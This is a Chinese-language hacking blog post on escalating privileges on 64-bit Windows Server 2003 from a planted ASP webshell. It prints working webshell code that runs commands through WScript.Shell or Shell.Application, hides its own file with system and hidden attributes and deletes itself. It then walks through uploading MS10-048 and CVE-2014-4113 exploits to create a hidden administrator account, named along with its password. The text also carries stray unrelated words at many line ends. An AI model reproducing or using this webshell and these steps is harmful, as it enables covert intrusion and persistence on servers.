在CVE-2014-4113出来后,x64环境下的提权又是一片短暂的光明.在此漏洞披露前,PR/IIS溢出/LPK劫持等对64位版本都无效果,网上公开曾有一个Exp有效,代号为MS10048x64.git
本文谨记录x64下可提权的Exp与测试过程.暂不考虑依赖第三方服务(如MSSQL/MYSQL)等的提权github
测试环境: Windows Server 2003 Enterprise x64 Edition - VL IIS 6.0
在测试提权Exp以前,假使咱们已得到一个一句话后门.web
虚拟终端看到权限不足,默默的传一个cmd.exe,设置好变量后能够正常执行命令了,甩上最新的CVE-2014-4113的exp先shell
机智的发现没有任何反应,这在ms10048上也有所体现.64位exp提权与32位提权有所区别,32位下存在虚拟终端无参数提权的exp,即便传参,也是经过如下方式执行:app
c:\cmd.exe /c c:\exp.exe parms
可是x64下的几个exp则须要这样执行:ide
c:\exp.exe c:\recycler\server.exe
手传大马可执行Exp,但强迫症的仍是喜欢本身动手丰衣足食(亦能够称作重复造轮子XD),kyo327曾在《浅谈在webshell下执行命令》中有所说起,先奉上部分代码窥知一二:函数
<object runat=server id=shell scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object> <%if err then%> <object runat=server id=shell scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object> <% end if %> <% 'exec command Dim path,parms,method,result path=Trim(Request("path")) parms=Trim(Request("parms")) method=Trim(Request("submit")) result="" If path="" Then path="C:\WINDOWS\system32\cmd.exe" If parms="" Then parms="/c " If method="wscript.shell" Then result=shell.exec(path&" "&parms).stdout.readall Elseif method="shell.application" Then set newshell=createobject("shell.application") newshell.ShellExecute path,parms,"","open",0 result="Shell.application Execute OK." Elseif method="self.delete" Then file.attributes = 0 fso.deletefile(file_name) set fso = nothing End If %>
以上为借助Wscript.shell与Shell.application两种方式执行命令,为增强一点隐蔽性,加入几行保护代码(只读,系统,隐藏):测试
<% 'hidded shell dim file_name file_name = Server.MapPath("./") & Replace(Request.ServerVariables("Script_Name"),"/","\") set fso = createobject("scripting.filesystemobject") set file = fso.getfile(file_name) file.attributes = 1+2+4 %>
最后实现效果以下:3d
隐藏属性:server
左上角显示支持组件,右侧path填写执行程序路径(如上传的cmd或exp),parms填写参数(cmd执行需/c参数,exp不须要)
三个Button分别表示:以script.shell执行命令/以Shell.application执行命令/脚本自删除
简单的一个示例:
以上代码在此处开源:
https://github.com/le4f/aspexec
MS10048的exploit分32与64两版本,漏洞存在于xxxCreateWindowEx()函数建立窗口时的本地权限提高.
64位环境下能够用以执行***后门或提权,首先拿来K8Team的一个无参数添加用户,经过API添加用户,在删除或禁用net1.exe时亦可直接添加:
用户名k8team$,密码k8team!@#
借助AspExec,能够很方便的提权,上传exp(ms10048.exe)与添加用户程序(user.exe)
Path: c:\inetpub\wwwroot\ms10048.exe Parms: c:\inetpub\wwwroot\user.exe
注意不须要/c参数,使用wscript.shell或shell.applicatin依具体环境设置而定,以默认(wscript.shell)为例,执行后短暂的延迟:
查看目标主机用户,添加成功
至于user.exe替换成别的后门也都相似的.ms10048影响x64版本主要是Windows2003,对于新版系统仍是测试CVE-2014-4113吧
相较于MS10048,新的exp效果要好不少,Exp一样分32/64两个版本,一样使用user.exe添加帐户测试:
Path: c:\inetpub\wwwroot\64.exe Parms: c:\inetpub\wwwroot\user.exe
上传64.exe(exp)执行后回显以下:
基本没有明显延迟,很顺利的添加帐号
以上整理仅为对实际环境模拟测试,顺便写份代码分享;)
若有错误或不足,还望指点.如有新的Exploit出现,笔者也会及时补充测试.
From Le4F'Blog